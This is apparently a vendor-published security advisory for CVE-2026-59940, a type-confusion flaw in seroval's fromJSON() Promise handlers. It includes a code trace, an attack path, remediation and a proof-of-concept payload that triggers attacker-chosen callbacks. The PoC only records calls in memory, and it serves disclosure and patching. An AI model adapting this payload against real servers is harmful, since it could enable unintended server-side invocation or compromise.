seroval.fromJSON() Promise resolver type confusion invokes attacker-controlled methods (CVE-2026-59940)
Promise control nodes trusted attacker-controlled values from Seroval's general deserialization reference table
CVSS 3.1 base score
CriticalVector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Summary
Source
deserializePromiseResolve()
packages/seroval/src/core/context/deserializer.ts:591
Sink
deserializePromiseReject()
packages/seroval/src/core/context/deserializer.ts:607
A type confusion issue in seroval.fromJSON() allowed attacker-controlled JSON input to cause PromiseSuccess and PromiseFailure nodes to operate on values from the general deserialization reference table without first verifying that those values were genuine internal promise resolver records. In vanilla fromJSON() mode, the serialized node tree and top-level m marked-reference list can place an attacker-created object in that table. The vulnerable handlers retrieved refs[node.i] and called .s(...) or .f(...) after checking only that the value was truthy.
With plugins enabled, an attacker could deserialize callable values into the object's .s and .f properties and make Promise control nodes invoke them with attacker-controlled data during deserialization. This creates a deserialization side-effect primitive. In downstream server frameworks that register plugins returning callable wrappers, it can become unintended server-side invocation and, depending on exposed application functionality, remote code execution or equivalent server compromise.
The issue affects seroval versions through 1.5.2 and was fixed in seroval@1.5.3. A concrete downstream impact scenario was privately validated against TanStack Start before the fix; with seroval@1.5.3, that reproducer no longer succeeds. The advisory is GHSA-mv8w-475r-vwqw / CVE-2026-59940, CWE-502, with CVSS 3.1 score 9.8.
Severity
- Attack vectorAV
- Network
- Attack complexityAC
- Low
- Privileges requiredPR
- None
- User interactionUI
- None
- ScopeS
- Unchanged
- ConfidentialityC
- High
- IntegrityI
- High
- AvailabilityA
- High
Metric values as published in the disclosure vector. Meters show how far each value raises exposure.
Source-to-sink trace
- Source · attacker-controlledpackages/
seroval/ src/ core/ context/ deserializer.ts:591 deserializePromiseResolve()
- Step 01packages/
seroval/ src/ index.ts:fromJSON() An application passes attacker-controlled Seroval JSON to
fromJSON()with one or more deserialization plugins enabled. The payload controls both the serialized node tree and the top-levelmlist of reference IDs that vanilla mode retains.typescript const result = fromJSON(payload, { plugins: [CallablePlugin] }); - Step 02packages/
seroval/ src/ core/ context/ deserializer.ts:assignIndexedValueVanilla() When an indexed object ID appears in
m, vanilla deserialization stores that ordinary attacker-created value in the shared reference table. Ref ID0can therefore hold a plain object whose.sand.fproperties are plugin-produced functions.typescript if (ctx.state.marked.has(id)) { ctx.base.refs.set(id, value); } - Step 03packages/
seroval/ src/ core/ context/ deserializer.ts:deserializePlugin() A registered plugin may legitimately deserialize a tagged node into a callable wrapper. The proof uses a harmless local plugin that returns functions which only append their arguments to an in-memory array.
typescript return assignIndexedValue( ctx, node.i, plugin.deserialize(node.s, new DeserializePluginContext(ctx, depth), { id: node.i, }), ); - Step 04packages/
seroval/ src/ core/ context/ deserializer.ts:deserializePromiseResolve() (before 1.5.3) The vulnerable Promise success handler retrieved
refs[node.i]and checked only whether the value was truthy. It did not establish that the ref came from Seroval's internal Promise constructor path before calling.s().typescript const deferred = ctx.base.refs.get(node.i); if (deferred) { deferred.s(deserialize(ctx, depth, node.a[1])); return NIL; } throw new SerovalMissingInstanceError("Promise"); - Step 05packages/
seroval/ src/ core/ context/ deserializer.ts:deserializePromiseReject() (before 1.5.3) The rejection handler made the same assumption and invoked
.f()on the attacker-created ref. Both handlers passed a separately deserialized attacker-controlled value as the call argument.typescript const deferred = ctx.base.refs.get(node.i); if (deferred) { deferred.f(deserialize(ctx, depth, node.a[1])); return NIL; } throw new SerovalMissingInstanceError("Promise"); - Step 06packages/
seroval/ src/ core/ context/ deserializer.ts:validateNodeType() (1.5.3 fix) The fixed deserializer records the node type associated with an internal Promise constructor ref and validates that provenance before either control node invokes a resolver callback. An ordinary object stored in the general ref table has no matching
PromiseConstructortype and is rejected first.typescript function validateNodeType(ctx, node, id, type) { if (ctx.base.refs.types.get(id) !== type) { throw new SerovalMalformedNodeError(node); } } validateNodeType(ctx, node, node.i, SerovalNodeType.PromiseConstructor); deferred.s(deserialize(ctx, depth, node.a[1])); - Sinkpackages/
seroval/ src/ core/ context/ deserializer.ts:607 deserializePromiseReject()
Impact
Reported impact
Direct impact in seroval is an attacker-controlled deserialization side effect: structured JSON reconstruction can invoke methods supplied through attacker-created objects. In a downstream framework where a plugin reconstructs RPC, server-function, or other privileged callable wrappers, the same primitive can trigger unintended server-side invocation. Depending on the functions exposed by the application, this may lead to remote code execution or equivalent server compromise. The privately coordinated TanStack Start chain is intentionally summarized without publishing its technical exploit material.
Attack surface
Applications that deserialize Seroval JSON from untrusted clients through fromJSON() on an affected seroval version and enable plugins. The direct package-level primitive requires a plugin capable of reconstructing callable values. Downstream severity depends on what those plugins expose.
Preconditions
The target must use a vulnerable seroval release through 1.5.2, accept attacker-controlled Seroval JSON, and register a plugin that can deserialize a function or callable wrapper. Turning the primitive into server compromise additionally requires a downstream callable that reaches privileged server functionality.
Attack path
- 1
Create an ordinary object with plugin-produced callable
.sand/or.fproperties. - 2
Include that object's ID in the top-level marked-reference list so vanilla
fromJSON()stores it in the general ref table. - 3
Add a
PromiseSuccessorPromiseFailurenode whoseifield points at the ordinary object's ref ID. - 4
Supply attacker-controlled serialized data as the Promise control node's value argument.
- 5
The vulnerable handler confuses the plain object with an internal resolver and invokes its
.s()or.f()method during deserialization.
Proof of concept
- 01
Environment setup
Create an isolated local project and install the verified vulnerable release:
bash mkdir seroval-type-confusion-poc cd seroval-type-confusion-poc npm init -y >/dev/null npm pkg set type=module >/dev/null npm install seroval@1.5.2The proof is local-only: it performs no network requests, shell execution, filesystem writes, or destructive side effects after setup.
- 02
Target configuration
Save the following as
poc.mjs. The plugin returns harmless functions that record calls in memory, while the payload marks a normal object containing those functions as ref ID0:js import assert from 'node:assert/strict' import { createPlugin, fromJSON } from 'seroval' const calls = [] const CallablePlugin = createPlugin({ tag: '$POC/callable', test: () => false, parse: { sync: () => { throw new Error('unused') } }, serialize: () => { throw new Error('unused') }, deserialize(node, ctx, data) { const label = ctx.deserialize(node.v) return (arg) => { calls.push({ label, arg, pluginNodeId: data.id }) return `called:${label}` } }, }) const str = (value) => ({ t: 1, s: String(value) }) const obj = (id, entries) => ({ t: 10, i: id, o: 0, p: { k: Object.keys(entries), v: Object.values(entries) }, }) const callable = (id, label) => ({ t: 25, i: id, c: '$POC/callable', s: { v: str(label) }, }) const payload = { t: { t: 9, i: 100, o: 0, a: [ obj(0, { s: callable(1, 'success-method'), f: callable(2, 'failure-method'), }), { t: 23, i: 0, a: [ { t: 4, i: 0 }, obj(10, { controlled: str('attacker-controlled PromiseSuccess argument') }), ] }, { t: 24, i: 0, a: [ { t: 4, i: 0 }, obj(11, { controlled: str('attacker-controlled PromiseFailure argument') }), ] }, ] }, f: 63, m: [0, 1, 2, 10, 11, 100], } - 03
Exploit delivery
Append the invocation and assertions to
poc.mjs, then execute it:js const result = fromJSON(payload, { plugins: [CallablePlugin] }) console.log('result:', Array.isArray(result) ? `Array(${result.length})` : typeof result) console.log('calls:', JSON.stringify(calls, null, 2)) assert.equal(calls.length, 2) assert.equal(calls[0].label, 'success-method') assert.deepEqual(calls[0].arg, { controlled: 'attacker-controlled PromiseSuccess argument', }) assert.equal(calls[1].label, 'failure-method') assert.deepEqual(calls[1].arg, { controlled: 'attacker-controlled PromiseFailure argument', }) console.log('VULNERABLE: attacker-controlled .s/.f methods were invoked')bash node poc.mjs - 04
Expected response
On
seroval@1.5.2,fromJSON()returns an array and records two calls during deserialization: one to the attacker-created.svalue with the PromiseSuccess argument, and one to.fwith the PromiseFailure argument. The final line is:text VULNERABLE: attacker-controlled .s/.f methods were invoked - 05
Outcome
The proof isolates the root cause: ref ID
0contains a normal attacker-created object, not a genuinePromiseConstructorResolver, yet the Promise control nodes invoke both of its callable properties. Repeating the regression check withseroval@1.5.3aborts deserialization before either in-memory side effect occurs. The separately coordinated TanStack Start reproducer likewise produces no evidence side effect with1.5.3.
Remediation
Guidance
Upgrade to seroval@1.5.3 or later. Projects accepting Seroval JSON from untrusted clients should also restrict accepted node types, allowlist inbound plugin tags, avoid exposing plugins that reconstruct callable or privileged values unless strictly necessary, and add regression tests proving that deserialization cannot cause unintended server-side invocation as a side effect.
function deserializePromiseResolve(ctx, depth, node) {const deferred = ctx.base.refs.get(node.i);if (deferred) {deferred.s(deserialize(ctx, depth, node.a[1]));return NIL;}throw new SerovalMissingInstanceError("Promise");}function deserializePromiseReject(ctx, depth, node) {const deferred = ctx.base.refs.get(node.i);if (deferred) {deferred.f(deserialize(ctx, depth, node.a[1]));return NIL;}throw new SerovalMissingInstanceError("Promise");}function validateNodeType(ctx, node, id, type) { if (ctx.base.refs.types.get(id) !== type) { throw new SerovalMalformedNodeError(node); }} function deserializePromiseResolve(ctx, depth, node) { const deferred = ctx.base.refs.get(node.i); if (deferred) { validateNodeType(ctx, node, node.i, SerovalNodeType.PromiseConstructor); deferred.s(deserialize(ctx, depth, node.a[1])); return NIL; } throw new SerovalMissingInstanceError("Promise");}
Check the upstream record for the project's current remediation status.
Investigate the paths that matter in your codebase.
Winfunc can trace relevant code paths, preserve supporting evidence, and prepare remediation suggestions for engineering review within an agreed scope.
